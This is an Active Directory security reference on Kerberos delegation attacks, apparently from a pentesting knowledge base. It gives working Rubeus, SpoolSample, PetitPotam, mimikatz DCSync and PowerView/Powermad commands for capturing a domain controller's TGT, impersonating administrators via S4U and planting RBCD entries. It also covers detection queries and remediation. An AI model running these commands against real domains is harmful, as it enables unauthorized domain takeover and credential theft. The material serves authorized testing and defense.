
Kerberos delegation attacks: unconstrained, constrained and RBCD
Abusing Kerberos delegation in Active Directory with unconstrained delegation TGT capture, the S4U extensions and resource-based constrained delegation.
Introduction
Kerberos delegation lets a service authenticate to a second service as the user who connected to it. The usual example is a web frontend that queries a backend database as the visiting user. There are three delegation types (unconstrained, constrained and resource-based constrained), and each can be abused without cracking a password or exploiting a CVE.
Unconstrained delegation is the oldest type and the worst to find. A host with TrustedForDelegation=True receives a forwarded copy of the TGT of every user that authenticates to it. That includes a domain controller you coerce into connecting, and the captured TGT is usable until it expires. Constrained delegation limits which services a host can delegate to. The S4U2Self extension still lets a host with protocol transition get a forwardable service ticket to itself for any domain user, with no involvement from that user. Resource-based constrained delegation (RBCD) puts the decision on the target: the target computer lists who may delegate to it, and anyone who can write its msDS-AllowedToActOnBehalfOfOtherIdentity attribute can add an account they control.
BloodHound collects all three. Computers with TrustedForDelegation have the unconstraineddelegation property, msDS-AllowedToDelegateTo becomes AllowedToDelegate edges, and msDS-AllowedToActOnBehalfOfOtherIdentity becomes AllowedToAct edges. Enumerate with BloodHound or PowerView before you do anything else. Coercing a DC is loud, and it is wasted if you do not control the unconstrained host it connects to.
Authorization required
These techniques steal tickets, coerce domain controller authentication and move laterally. Use them only in authorized penetration tests or red team engagements with written scope. Printer Bug and PetitPotam coercion show up in domain controller logs straight away.
Impact
- A DC TGT captured on an unconstrained delegation host leads to DCSync and the whole domain
- You can impersonate any domain user to the services a constrained delegation account may delegate to, without that user's credentials
- Write access to
msDS-AllowedToActOnBehalfOfOtherIdentityon a computer gets you local admin on it - A machine account you created plus an RBCD entry is persistence that survives password resets of the accounts you compromised
- Delegation that crosses a trust carries the attack into the other domain
- With a computer account's hash or TGT, S4U2Self gives you a service ticket to that computer as any user, which works like a Silver Ticket
Technical details
Unconstrained delegation
When a service account or computer has TrustedForDelegation=True, the KDC sets the ok-as-delegate flag on service tickets issued for it. A Windows client that sees the flag requests a forwarded TGT and sends it to the service inside the authenticator of the AP-REQ. The KDC does not put the TGT in the service ticket. The host caches the forwarded TGT in LSA. Every account that authenticates to the host over Kerberos leaves a usable TGT there: users, computer accounts, and a domain controller you coerce.
In practice you coerce the domain controller's computer account into authenticating to the unconstrained host. MS-RPRN (Printer Bug) and MS-EFSR (PetitPotam) both make the DC authenticate with its machine account, which holds replication rights. With that TGT you can DCSync without Domain Admin credentials.
Constrained delegation and S4U
Constrained delegation limits a service account or computer to a list of SPNs in msDS-AllowedToDelegateTo. It is built on the S4U extensions, which Microsoft specifies in MS-SFU:
| Extension | What it does |
|---|---|
| S4U2Self | The service requests a service ticket to itself for any user. The ticket is forwardable only if the service account has TrustedToAuthForDelegation (protocol transition) |
| S4U2Proxy | The service presents that forwardable ticket and gets a service ticket for the target SPN as the user |
With the chain, a compromised service account impersonates a domain administrator to any SPN in its msDS-AllowedToDelegateTo list. All you need is the service account's NT hash or AES key. The impersonated user never has to connect.
Resource-based constrained delegation (RBCD)
RBCD (introduced in Windows Server 2012) moves the configuration to the target resource. The target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute holds a security descriptor that lists the accounts allowed to delegate to it. An account with GenericWrite, GenericAll, WriteProperty or WriteDacl on the target computer object can set the attribute.
For the attack you create a machine account (the default MachineAccountQuota lets any domain user create up to 10), set the target's msDS-AllowedToActOnBehalfOfOtherIdentity to trust it, then run S4U2Self and S4U2Proxy to get a service ticket as a domain admin for the target's CIFS SPN. You know the machine account's password because you set it.
Enumerate delegation configurations
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name# Unconstrained
Get-DomainComputer -Unconstrained | Select-Object name, dnshostname
# Constrained (accounts and computers)
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
# RBCD: who can delegate to target
Get-DomainComputer TARGETHOST | Select-Object -ExpandProperty msds-allowedtoactonbehalfofotheridentity([adsisearcher]'(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))').FindAll() | ForEach-Object { $_.Properties.dnshostname }Coerce DC authentication to the unconstrained host
Start Rubeus in monitor mode on the unconstrained host, as a local administrator, before you trigger the coercion:
Rubeus.exe monitor /interval:5 /nowrapTrigger the Printer Bug with any domain account. The DC machine account authenticates to the host you name:
SpoolSample.exe DC01.corp.local UNCONSTRAINED_HOST.corp.localPetitPotam is the unauthenticated alternative. It is patched on current DCs but still works on older ones:
python3 PetitPotam.py -u '' -p '' UNCONSTRAINED_HOST DC01.corp.localRubeus prints the DC machine account TGT in base64. Import it and use it:
Rubeus.exe ptt /ticket:<base64_ticket>
# Confirm DC$ TGT is in memory
klist
# DCSync with mimikatz
lsadump::dcsync /domain:corp.local /user:krbtgtConstrained delegation abuse with S4U2Self and S4U2Proxy
You need the NT hash of a service account or computer that has msDS-AllowedToDelegateTo set. Rubeus runs the whole S4U chain:
# s4u builds S4U2Self ticket first, then S4U2Proxy to target SPN
Rubeus.exe s4u /user:svc_iis /rc4:NTLMHASH /impersonateuser:Administrator /msdsspn:cifs/webserver.corp.local /pttIf the SPN in msds-allowedtodelegateto is http/webserver but you want CIFS, add /altservice. The service name is not in the encrypted part of the ticket, so Rubeus rewrites it after the KDC has issued the ticket, and the target host accepts it:
Rubeus.exe s4u /user:svc_iis /rc4:NTLMHASH /impersonateuser:Administrator /msdsspn:http/webserver.corp.local /altservice:cifs /pttCheck the ticket and access the target:
klist
dir \\webserver.corp.local\c$RBCD: write msDS-AllowedToActOnBehalfOfOtherIdentity
First confirm you can write to the target computer object. BloodHound shows this as a GenericWrite, GenericAll or WriteDacl edge to the computer. Then create a machine account:
Import-Module Powermad.ps1
New-MachineAccount -MachineAccount ATTACKERPC -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force)Get the machine account's SID, then set the target computer's RBCD attribute to trust it:
Import-Module PowerView.ps1
$AttackerSID = Get-DomainComputer ATTACKERPC | Select-Object -ExpandProperty objectsid
# Build raw security descriptor
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Write to target
Get-DomainComputer TARGETHOST | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}Run S4U2Self and S4U2Proxy with the machine account's credentials:
# RC4 hash of the machine account password you set
Rubeus.exe hash /password:P@ssw0rd123! /user:ATTACKERPC$ /domain:corp.local
Rubeus.exe s4u /user:ATTACKERPC$ /rc4:MACHINEACCOUNT_HASH /impersonateuser:Administrator /msdsspn:cifs/TARGETHOST.corp.local /pttAccess the target:
.\PsExec.exe \\TARGETHOST.corp.local cmd.exeCleanup
Clear the RBCD attribute when you are done:
Get-DomainComputer TARGETHOST | Set-DomainObject -Clear msds-allowedtoactonbehalfofotheridentityRemove the machine account:
Get-ADComputer ATTACKERPC | Remove-ADObject -Recursive -Confirm:$falseAttack tools
Rubeus handles TGT monitoring and every S4U operation on Windows.
# Run on the unconstrained delegation host, monitor every 5 seconds
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$Rubeus.exe s4u /user:svc_iis$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/webserver.corp.local /ptt# Step 1: Get hash of attacker machine account
Rubeus.exe hash /password:P@ssw0rd123! /user:ATTACKERPC$ /domain:corp.local
# Step 2: S4U chain
Rubeus.exe s4u /user:ATTACKERPC$ /rc4:<hash> /impersonateuser:Administrator /msdsspn:cifs/TARGET.corp.local /ptt# After capturing TGT from monitor output
Rubeus.exe ptt /ticket:doIFuj[...]Detection
Event IDs
| Event ID | Log | Trigger |
|---|---|---|
| 4769 | Security | Kerberos service ticket request. Filter for TicketOptions: 0x40810010 (forwardable and renewable) from non-interactive logon types |
| 4624 | Security | Logon Type 3 from machine accounts to unexpected hosts |
| 4662 | Security | Object access on computer objects: a write to msDS-AllowedToActOnBehalfOfOtherIdentity (GUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79) |
| 5136 | Security | Directory object modified. An RBCD write shows AttributeLDAPDisplayName = msDS-AllowedToActOnBehalfOfOtherIdentity on a computer object |
| 4741 | Security | New computer account created. Accounts created by ordinary users through MachineAccountQuota can be RBCD preparation |
SIEM queries
index=wineventlog EventCode=4769
| eval TicketOptions=mvindex(split(TicketOptions," "),0)
| where TicketOptions="0x40810010" OR TicketOptions="0x40810000"
| where NOT like(ServiceName, "%$")
| stats count by AccountName, ServiceName, ClientAddress
| where count > 5index=wineventlog EventCode=5136
AttributeLDAPDisplayName="msDS-AllowedToActOnBehalfOfOtherIdentity"
| table _time, SubjectUserName, ObjectDN, ObjectClass, OperationType, AttributeValueindex=wineventlog EventCode=4741
| stats count by SubjectUserName, dc
| where count > 3Behavioral indicators
- Forwardable service tickets requested by computer accounts outside working hours
- Coercion traffic: MS-RPRN calls from hosts that are not print servers, and MS-EFSR connections to the
\pipe\lsarpcor\pipe\efsrnamed pipes on domain controllers - A computer object created by a non-admin user, followed shortly by a change to
msDS-AllowedToActOnBehalfOfOtherIdentityon an existing computer - Rubeus
monitorpolling the ticket cache on a host with unconstrained delegation, seen as repeated LSA ticket enumeration by an unusual process
Remediation
Unconstrained delegation
- List computers with
TrustedForDelegation=TrueusingGet-DomainComputer -Unconstrained. Every host on the list collects TGTs. - Remove unconstrained delegation from every computer that does not need it. Domain controllers have it by design.
- Move the services that need delegation to constrained delegation or RBCD.
- Disable the Print Spooler service (
spooler) on all DCs to block MS-RPRN coercion. Check withGet-Service -ComputerName DC01 -Name spooler. - Apply Microsoft's PetitPotam mitigations (KB5005413) and enable EPA on ADCS web enrollment endpoints.
Constrained delegation
- Set
Account is sensitive and cannot be delegated(NOT_DELEGATED,ADS_UF_NOT_DELEGATED) on high-value accounts: Domain Admins, Enterprise Admins, and service accounts with equivalent access. - Add privileged accounts to the
Protected Usersgroup. Members cannot be delegated, cannot use RC4, and their TGTs expire after 4 hours. - Audit
msDS-AllowedToDelegateTofor broad SPN lists, in particular anything that delegates tokrbtgtor to a service on a DC.
RBCD
- Set
ms-DS-MachineAccountQuotaon the domain object to 0 (the default is 10), and create machine accounts through a privileged process only. - Audit
msDS-AllowedToActOnBehalfOfOtherIdentityon all computer objects every quarter. It should be empty unless someone configured it on purpose. - Review ACLs on computer objects. Delegated OU permissions that give
GenericWriteorWritePropertyto non-admin groups are what make RBCD attacks possible. - Use tiered administration: Tier 0 accounts should have no ACL exposure to Tier 1 and Tier 2 computer objects.
General
- Deploy Microsoft Defender for Identity (MDI). It has built-in detections for Printer Bug coercion, S4U anomalies and RBCD configuration changes.
- Enable
Audit Kerberos Service Ticket Operations,Audit Directory Service Access(4662) andAudit Directory Service Changes(5136) in the GPO audit policy. - Credential Guard helps on the client side only. A client with Credential Guard enabled does not use unconstrained delegation (Microsoft documents it as blocked), so its users' TGTs are not forwarded. It does nothing for clients without it, and Microsoft does not recommend enabling it on domain controllers, so a coerced DC still hands over its TGT.
References
MITRE ATT&CK techniques
- T1558 - Steal or Forge Kerberos Tickets
- T1134 - Access Token Manipulation
- T1087.002 - Account Discovery: Domain Account
Protocol specifications
- MS-SFU: Service for User and Constrained Delegation Protocol: S4U2Self and S4U2Proxy
- RFC 4121, section 4.1.1: the forwarded TGT (
KRB_CRED) carried in the authenticator checksum - RFC 4120, section 2.8: the
ok-as-delegateticket flag
Tools documentation
- Rubeus (GhostPack)
- Impacket getST.py
- PowerView (PowerSploit)
- Powermad: New-MachineAccount
- SpoolSample: Printer Bug PoC
- PetitPotam
- BloodHound
- bloodyAD: LDAP write operations
Next steps
Active Directory ACL abuse
For finding the write access on computer objects that RBCD needs.
DCSync
For using a captured DC machine account TGT to dump the domain.
Shadow credentials
The other thing to do with GenericWrite on a computer object, and a way to get its TGT for S4U2Self.
Kerberoasting
For getting the password of a service account that has constrained delegation.
BloodHound
For mapping delegation edges before you touch anything.
Kerberoasting attack and defense
Requesting service tickets for AD service accounts and cracking them offline, with the detection and hardening that counters it.
KrbRelayUp Attack and Defense
Notes on relaying Kerberos authentication to LDAP and abusing RBCD for local privilege escalation in Active Directory environments.